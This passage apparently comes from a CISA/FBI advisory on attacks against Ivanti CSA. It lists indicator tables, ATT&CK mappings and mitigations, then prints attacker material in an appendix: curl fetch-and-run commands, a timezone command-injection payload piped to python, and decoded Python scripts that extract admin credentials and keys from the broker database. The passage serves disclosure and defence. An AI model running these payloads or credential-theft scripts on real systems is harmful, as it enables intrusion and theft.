This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.
Indicators of Compromise
See Table 1 through Table 3 for IOCs related to the threat actors’ exploitation of CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 in Ivanti CSA.
Disclaimer: Some IP addresses in this cybersecurity advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.
Table 1: IP Address Used for Credential Theft, September 2024
| File Name |
IP Address |
Description |
| “/client/index.php%3f.php/gsb/datetime.php |
142.171.217[.]195 |
/var/log/messages |
| “/client/index.php%3f.php/gsb/datetime.php |
154.64.226[.]166 |
/var/log/messages-20240904.gz |
| “/client/index.php%3f.php/gsb/datetime.php |
216.131.75[.]53 |
|
| “/client/index.php%3f.php/gsb/datetime.php |
23.236.66[.]97 |
/var/log/messages-20240905.gz |
| “/client/index.php%3f.php/gsb/datetime.php |
38.207.159[.]76 |
/var/log/messages-20240906.gz |
Table 2: Survey 2, Ivanti CSA Network IOC List, September 2024
| File Name |
IP Address |
Description |
| |
149.154.167[.]41 |
|
| |
95.161.76[.]100 |
|
| hxxps://file.io/E50vtqmJP5aa |
|
|
| hxxps://file.io/RBKuU8gicWt |
|
|
| hxxps://file.io/frdZ9L18R7Nx |
|
|
| hxxp://ip.sb |
|
|
|
hxxps://pan.xj.hk/d/
6401646e701f5f47518ecef48a308a36/redis
|
|
|
| |
142.171.217[.]195 |
|
| |
108.174.199[.]200 |
|
| |
206.189.156[.]69 |
|
| |
108.174.199[.]200/Xa27efd2.tmp |
|
| |
142.171.217[.]195 |
|
Table 3: Additional IOCs Derived from Incident Response, September 2024
| Type |
IOC |
Description |
| Ipv4 |
107.173.89[.]16 |
|
| Ipv4 |
38.207.159[.]76 |
|
| Ipv4 |
142.171.217[.]195 |
|
| Ipv4 |
154.64.226[.]166 |
|
| Ipv4 |
156.234.193[.]18 |
|
| Ipv4 |
216.131.75[.]53 |
|
| Ipv4 |
205.169.39[.]11 |
|
| Ipv4 |
23.236.66[.]97 |
|
| Ipv4 |
149.154.176[.]41 |
|
| Ipv4 |
95.161.76[.]100 |
|
| Ipv4 |
142.171.217[.]195 |
|
| Ipv4 |
108.174.199[.]200 |
|
| Ipv4 |
206.189.156[.]69 |
|
| Ipv4 |
142.171.217[.]195 |
|
| Ipv4 |
67.217.228[.]83 |
|
| Ipv4 |
203.160.72[.]174 |
|
| Ipv4 |
142.11.217[.]3 |
|
| Ipv4 |
104.168.133[.]228 |
|
| Ipv4 |
64.176.49[.]160 |
|
| Ipv4 |
45.141.215[.]17 |
|
| Ipv4 |
142.171.217[.]195 |
|
| Ipv4 |
98.101.25[.]30 |
|
| Ipv4 |
216.131.75[.]53 |
|
| Ipv4 |
134.195.90[.]71 |
|
| Ipv4 |
23.236.66[.]97 |
|
| Hash |
a50660fb31df96b3328640fdfbeea755 |
|
| Hash |
53c5b7d124f13039eb62409e1ec2089d |
|
| Hash |
698a752ec1ca43237cb1dc791700afde |
|
| Hash |
aa69300617faab4eb39b789ebfeb5abe |
|
| Hash |
c2becc553b96ba27d60265d07ec3bd6c |
|
| Hash |
cacc30e2a5b2683e19e45dc4f191cebc |
/opt/ivanti/csa/broker/webroot/client/help.php |
| Hash |
061e5946c9595e560d64d5a8c65be49e |
/opt/landesk/broker/webroot/gsb/view.php |
| Hash |
e35cf026057a3729387b7ecfb213ae
62a611f0f1a418876b11c9df3b56885bed
|
/tmp/brokerdebug |
| Hash |
c7d20ca6fe596009afaeb725fec8635f |
/opt/landesk/broker/webroot/gsb/help.php |
| Hash |
F7F81AE880A17975F60E1E0FE1A4048B |
/opt/landesk/broker/webroot/gsb/DateTimeTab.php |
| Hash |
86B62FFD33597FD635E01B95F08BB996 |
/opt/landesk/broker/webroot/gsb/style.php |
| Hash |
DD975310201079CACD4CDE6FACAB8C1D |
/opt/landesk/broker/webroot/client/index.php |
| Hash |
1B20E9310CA815F9E2BD366FB94E147F |
/sbin/systemd
Configuration file at /WpService.conf
|
| Hash |
30f57e14596f1bcad7cc4284d1af4684 |
/sbin/systemd
Configuration file at /WpService.conf
|
| URL |
hxxps://file.io/E50vtqmJP5aa |
|
| URL |
hxxps://file.io/RBKuU8gicWt |
|
| URL |
hxxps://file.io/frdZ9L18R7Nx |
|
| URL |
hxxp://ip.sb |
|
| URL |
hxxps://pan.xj.hk/d/
6401646e701f5f47518ecef48a308a36/redis
|
|
| URL |
108.174.199.200/Xa27efd2.tmp |
|
| URL |
45.33.101.53/log |
|
| URL |
45.33.101.53/log2 |
|
| URL |
208.184.237.75/fdsupdate |
|
| URL |
173.243.138.76/fdsupdate |
|
| URL |
cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun |
|
| URL |
cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun |
|
| domain |
gg.oyr2ohrm.eyes[.]sh |
|
| domain |
ggg.oyr2ohrm.eyes[.]sh |
|
| domain |
gggg.oyr2ohrm.eyes[.]sh |
|
| domain |
txt.xj[.]hk |
|
| domain |
book.hacktricks[.]xyz |
|
| host |
sh -c setsid /dev/shm/redis & |
|
| host |
sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o
/dev/shm/redis2
|
|
| host |
sh -c mv /dev/shm/redis2 /dev/shm/redis |
|
| host |
sh -c rm /dev/shm/* |
|
| host |
rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis |
|
| host |
78cc672218949a9ec87407ad3bcb5db6 |
Agent.zip |
| host |
d13f71e51b38ffef6b9dc8efbed27615 |
Log.log |
| host |
d88bfac2b43509abdc70308bef75e2a6 |
Log.exe |
| host |
R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3) |
R.exe |
| host |
ae51c891d2e895b5ca919d14edd42c26 |
CAService.exe |
| host |
d88bfac2b43509abdc70308bef75e2a6 |
Lgfxsys.exe |
| host |
f82847bccb621e6822a3947bc9ce9621 |
NetlO.cfg |
| host |
c894f55c8fa9d92e2dd2c78172cff745 |
XboVFyKw.tmp |
| host |
MD5: Unknown |
Wi.bat |
| host |
MD5: Unknown |
dCUgGXfm.tmp |
| host |
MD5: Unknown |
DijZViHC.tmp |
| CrowdStrike Falcon |
e09fef2f502a41c199046219a6584e8d |
CrowdStrike falcon cid |
| /var/secure log |
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/ln -sf |
|
| /var/secure log |
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/mv /tmp/php.ini /etc/php.ini |
|
| /var/secure log |
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/hwclock –localtime –systohc |
|
| /var/secure log |
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/backuptool –fullList |
|
| Ipv4 |
142.171.217[.]195 |
|
| Ipv4 |
107.173.89[.]16 |
|
| Ipv4 |
192.42.116[.]210 |
|
| Ipv4 |
82.197.182[.]161 |
|
| Ipv4 |
154.213.185[.]230 |
|
| Ipv4 |
216.131.75[.]53 |
|
| Ipv4 |
23.236.66[.]97 |
|
| Ipv4 |
208.105.190[.]170 |
|
| Ipv4 |
136.144.17[.]145 |
|
| Ipv4 |
136.144.17[.]133 |
|
| Ipv4 |
216.73.162[.]56 |
|
| Ipv4 |
104.28.240[.]123 |
|
| Ipv4 |
163.5.171[.]49 |
|
| Ipv4 |
89.187.178[.]179 |
|
| Ipv4 |
163.5.171[.]49 |
|
| Ipv4 |
203.160.86[.]69 |
|
| Ipv4 |
185.220.69[.]83 |
|
| Ipv4 |
185.199.103[.]196 |
|
| Ipv4 |
188.172.229[.]15 |
|
| Ipv4 |
155.138.215[.]144 |
|
| Ipv4 |
64.176.49[.]160 |
|
| Ipv4 |
185.40.4[.]38 |
|
| Ipv4 |
216.131[.]75.53 |
|
| Ipv4 |
185.40.4[.]95 |
|
MITRE ATT&CK Tactics and Techniques
See Table 4 to Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Table 4: Reconnaissance
| Technique Title |
ID |
Use |
| Active Scanning: Vulnerability Scanning |
T1595.002 |
Threat actors performed reconnaissance by using Obelisk and GoGo to scan for vulnerabilities. |
Table 5: Initial Access
| Technique Title |
ID |
Use |
| Exploit Public-Facing Application |
T1190 |
Threat actors leveraged weaknesses in applications that are not properly handled to compromise network device protocols, perform SQL injections, and generally exploit applications. |
Table 6: Execution
| Technique Title |
ID |
Use |
| Command and Scripting Interpreter |
T1059 |
Threat actors abused command and script interpreters to execute commands, scripts, or binaries. |
Table 7: Persistence
| Technique Title |
ID |
Use |
| Modify Authentication Process |
T1556 |
Threat actors executed an authentication bypass by exploiting the authentication mechanisms of a device to gain access to organizations’ networks. |
| Server Software Component: Web Shell |
T1505.003 |
Threat actors executed code to implant webshells for persistence. |
Table 8: Privilege Escalation
| Technique Title |
ID |
Use |
| Exploitation for Privilege Escalation |
T1068 |
Threat actors leveraged weaknesses to gain access via an outdated, vulnerable version of a server. |
Table 9: Defense Evasion
| Technique Title |
ID |
Use |
| Hide Artifacts: Hidden Users |
T1564.002 |
Threat actors acted as a hidden user to disguise their presence on a system. |
| Deobfuscate/Decode Files or Information |
T1140 |
Threat actors decrypted credentials prior to exfiltration by leveraging native tools located in the extracted backup file. |
| Abuse Elevation Control Mechanism: Sudo and Sudo Caching |
T1548.003 |
Threat actors used sudo commands to disable vulnerabilities, modify and remove webshells, and remove evidence of exploitation. |
Table 10: Credential Access
| Technique Title |
ID |
Use |
| Unsecured Credentials: Credentials in Files |
T1552.001 |
Threat actors harvested encrypted admin credentials to gain further access. |
Table 11: Lateral Movement
| Technique Title |
ID |
Use |
| Exploitation of Remove Services |
T1210 |
Threat actors exploited CSAs via remote services to gain access to an organization’s networks by leveraging programming errors, EOL systems, and operating systems. |
Table 12: Command and Control
| Technique Title |
ID |
Use |
| Remote Access Software |
T1219 |
Threat actors attempted to remotely authenticate into a victim’s network and execute arbitrary commands on the appliance. |
| Application Layer: Web Protocol |
T1071.001 |
Threat actors used tools such as GET or POST requests to acquire session and CSRF tokens. |
Table 13: Exfiltration
| Technique Title |
ID |
Use |
| Exfiltration |
TA0010 |
Threat actors exfiltrated encrypted admin credentials or other encrypted data for future use. |
Incident Response
If compromise is detected, the authoring agencies recommend that organizations:
- Quarantine or take offline potentially affected hosts.
- Reimage compromised hosts.
- Provision new account credentials.
- For Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol and AD.
- Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
- Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).
Mitigations
CISA and FBI recommend organizations:
- Upgrade to the latest supported version of Ivanti CSA immediately for continued support.[3] Please note that Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
- Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.
- Establish a baseline and maintain detailed logs of network traffic, account behavior, and software. This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
- Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
- Secure remote access tools by:
- Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
- Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
- Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
- Follow best cybersecurity practices in your production and enterprise environments,including mandating phishing-resistant multifactor authentication (MFA) for all staff and services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common tactics, techniques, and procedures. Because the CPGs are a subset of best practices, CISA and FBI also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).
Validate Security Controls
In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
- Select an ATT&CK technique described in this advisory (see Table 4 through Table 13).
- Align your security technologies against the technique.
- Test your technologies against the technique.
- Analyze your detection and prevention technologies’ performance.
- Repeat the process for all security technologies to obtain a set of comprehensive performance data.
- Tune your security program, including people, processes, and technologies, based on the data generated by this process.
CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
References
- Ivanti: Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)
- Ivanti: Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)
- Ivanti: Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)
- Fortinet: Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA
Contact Information
Organizations are encouraged to report suspicious or criminal activity related to information in this advisory to:
- CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.
Version History
January 22, 2025: Initial version.
Appendix A: Encoded and Decoded Scripts
Decoded Python Scripts
{
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin’\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
} |
{
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’service'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’service’\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
} |
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) |
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’) |
|
{
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’,lockoutalert=0,attempts=0 where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip()
v = p.split(‘:’)
k = os.popen(‘base 64 -w0 root/.certs/{}.key’.format(v[1])).read()
set_msg(dbpwd, “PASSWORD”, p+’||’+k)
time.sleep(30)
set_msg(dbpwd)
}
|
|
{
import os, re, base64, time
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’,lockoutalert=0 where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
os.chdir(“/tmp”)
d = “/backups”
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
os.system(”’export PGPASSWORD={};echo “delete from user_info where runas=’Nobody'”|psql -d brokerdb -U gsbadmin”’.format(dbpwd))
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} ‘{}’ ‘{}’ ‘{}’ root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
}
|
{
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
os.system(”’export PGPASSWORD={};echo “delete from user_info where runas=’Nobody'”|psql -d brokerdb -U gsbadmin”’.format(dbpwd))
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
} |
Decoded datetime.php ‘timezone’ Exploit base64 Scripts
{
Sep 5 01:09:59 REDACTED gsb[996]: /etc/php.ini
rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo
“update user_info set organization=’||/usr/bin/echo import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)
} |
{
Sep 5 01:47:01 REDACTED gsb[2599]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python;’ (1)
} |
{
Sep 5 02:14:08 REDACTED gsb[1273]: /etc/php.ini
rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo
“update user_info set organization=’||/usr/bin/echo import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
else:
set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)
} |
{
Sep 5 22:22:06 REDACTED gsb[9367]: /etc/php.ini
rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo
“update user_info set organization=’||/usr/bin/echo import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
if t and m:
msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
else:
msg = ”
os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\’admin\’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
os.system(“tar zxvf {}”.format(r))
while True:
for f in os.listdir(‘.’):
if re.match(“phpw{6}”, f):
os.chmod(f, 0o777)
m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
if m:
set_msg(dbpwd, “PASSWORD”, m)
time.sleep(30)
set_msg(dbpwd)
exit()
